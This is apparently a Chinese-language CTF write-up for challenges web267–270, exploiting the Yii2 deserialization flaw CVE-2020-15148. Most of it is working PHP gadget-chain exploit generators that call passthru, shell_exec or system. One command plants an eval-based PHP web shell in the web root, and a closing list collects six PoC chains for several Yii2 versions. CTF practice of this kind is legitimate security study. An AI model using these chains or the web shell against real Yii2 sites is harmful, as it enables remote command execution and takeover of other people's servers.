目录
web267
web268
web269
web270
总结
web267
页面用的什么框架不知道 看源码看一下
框架就是一种软件工具,它提供了一些基础功能和规范,可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架,它们提供了很多现成的功能和工具,让开发者可以更轻松地编写代码,不需要从零开始。使用框架可以加快开发速度、提高代码质量,并且有助于维护和扩展应用程序。
查看源码发现有个yii.js的脚本文件。
yii.js是一个与Yii框架相关的JavaScript文件。Yii是一个流行的PHP框架,它提供了一些功能和工具,用于简化Web应用程序的开发过程。如果你在使用Yii框架构建网站或应用程序,那么引用这个脚本文件可能是为了使用Yii框架提供的一些客户端功能或特性。判断出该网页使用的是yii框架
点进去发现是2.0的版本
网上也流传了反序列化链
Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。
现在找一下入口,由于是反序列化利用链,我们需要一个入口点
弱口令登陆一下 看一下 发现about页面有一点变化 查看源码 给了个提示
给的是? 我以为是在首页面位置使用呢 原来就是在adout页面用&连接
因为就是这个页面给的提示 按理说就是应该在这个页面的url后加入该参数
发现一个反序列化入口点:,给了入口 和需要提交的参数名
访问一下 结果是空白 证明是有这个页面的,光访问不行还得传个值否则访问不到 所以他才给提示
通用的链子
exp
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'passthru'; $this->id = 'tac /flag'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
passthru也是远程命令执行的函数 这个方便
大师傅就凭着感觉走 切合实际
checkAess=‘shell_exec’
id="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
注意看大师傅的视频特别是这个讲解 从头到位出问题 就得多尝试
有几点我说一下 命令多换换 单引号双引号多换换 还有转移
真的是学的越多越好 查询该页面位置pwd的时候 使用了DNS外带 标记一下有时间学DNS外带
大师傅如何确定的当前路径
在DNSLOG里面先复制地址 用的大佬的图
写shell
访问成功后
找到flag位置
web268
用267的方式试一遍 不行 可能被过滤了 把eval shell等字符串使用点进行拼接
发现还是不行 那就只能是一个原因了 这个链子被过滤了 这个链子用不来了了
现成链子
exp
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令 echo(base64_encode(serialize($exp))); }
直接访问1.txt
在这里说一下大师傅说以后遇见这种yii框架的漏洞 找到入口把知道的链子都试一下
web269
还是一样的使用web268链子 发现成功拿下flag
web270
还用web268链子 成功拿下
总结
这几道yii框架的反序列化漏洞 虽然没让我学会原理 但是我学会了 如果遇见某一类框架漏洞 直接找入口 找到入口后 网上找现成的链子 一个一个去尝试,现在我的时间不多了只能按照教程这么思路的来一遍这种框架漏洞 具体原理目前没时间学 如果以后有时间搜索(YII链子学习反序列化) 2023/12/7 14:38图书馆
记录一下链子
poc1
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; //命令执行 } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
poc2
yii2.2.37
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace yii\db{ use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } } } namespace yii\web{ use yii\rest\IndexAction; class DbSession { public $writeCallback; public function __construct(){ $a=new IndexAction(); $this->writeCallback=[$a,'run']; } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
poc3
2.0.38
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
poc4
2.0.38
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'dir'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "axin"=>array("is"=>"handsome") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
poc5
2.0.42
<?php namespace Faker; class DefaultGenerator{ protected $default ; function __construct($argv) { $this->default = $argv; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($command,$argv) { $this->generator = new DefaultGenerator($argv); $this->validator = $command; $this->maxRetries = 99999999; } } namespace Codeception\Extension; use Faker\ValidGenerator; class RunProcess{ private $processes = []; function __construct($command,$argv) { $this->processes[] = new ValidGenerator($command,$argv); } } $exp = new RunProcess('system','whoami'); echo(base64_encode(serialize($exp)));
poc6
<?php namespace yii\rest { class IndexAction{ function __construct() { $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Symfony\Component\String { use yii\rest\IndexAction; class LazyString { function __construct() { $this->value = [new indexAction(), "run"]; } } class UnicodeString { function __construct() { $this->value = new LazyString(); } } } namespace Faker { use Symfony\Component\String\LazyString; class DefaultGenerator { function __construct() { $this->default = new LazyString(); } } class UniqueGenerator { function __construct() { $this->generator = new DefaultGenerator(); $this->maxRetries = 99999999; } } } namespace Codeception\Extension { use Faker\UniqueGenerator; class RunProcess { function __construct() { $this->processes[] = new UniqueGenerator(); } } } namespace { use Codeception\Extension\RunProcess; $exp = new RunProcess(); echo(base64_encode(serialize($exp))); }